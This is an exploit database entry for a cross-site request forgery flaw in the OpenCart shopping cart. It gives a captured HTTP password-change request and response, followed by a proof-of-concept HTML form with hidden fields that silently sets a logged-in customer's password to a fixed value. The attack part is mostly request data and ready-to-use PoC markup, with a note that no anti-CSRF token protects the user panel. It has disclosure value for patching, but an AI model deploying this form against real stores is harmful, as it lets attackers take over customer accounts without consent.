OpenCart - Cross-Site Request Forgery (Change User Password)

ID EXPLOITPACK:0E1E38223D011DB312B4DE22417BD837
Type exploitpack
Reporter Saadi Siddiqui
Modified 2013-04-08T00:00:00


OpenCart - Cross-Site Request Forgery (Change User Password)

                                            # Exploit Title		: OpenCart CSRF
# Date		    	: 2013/4/2
# Exploit Author	: Saadat Ullah ,
# Software Link 	:
# Software web  	:
# Author HomePage	:
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

# Cross-site request forgery

OpenCart is an open source shoping cart system , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url.

OpenCart is not using any security token to prevent it against CSRF.
It is vulnerable to all location inside User panel.



POST /index.php?route=account/password HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=e634322aa558022cdd8664b8d32124b7; language=en; currency=USD
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------2465524120551
Content-Length: 257
Content-Disposition: form-data; name="password"

Content-Disposition: form-data; name="confirm"



HTTP/1.1 302 Found
Date: Tue, 02 Apr 2013 14:49:53 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Status: 302
Location: http://localhost/index.php?route=account/account
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Simple Poc to change user Password

<form action="http://localhost/index.php?route=account/password" method="post" enctype="multipart/form-data">
    <div class="content">
      <table class="form">
          <td><input name="password" value="987654321" type="hidden">
          <td><input name="confirm" value="987654321" type="hidden">
    <div class="buttons">
      <div class="right"><input value="Continue" class="button" type="submit"></div>

#Independent Pakistani Security Researcher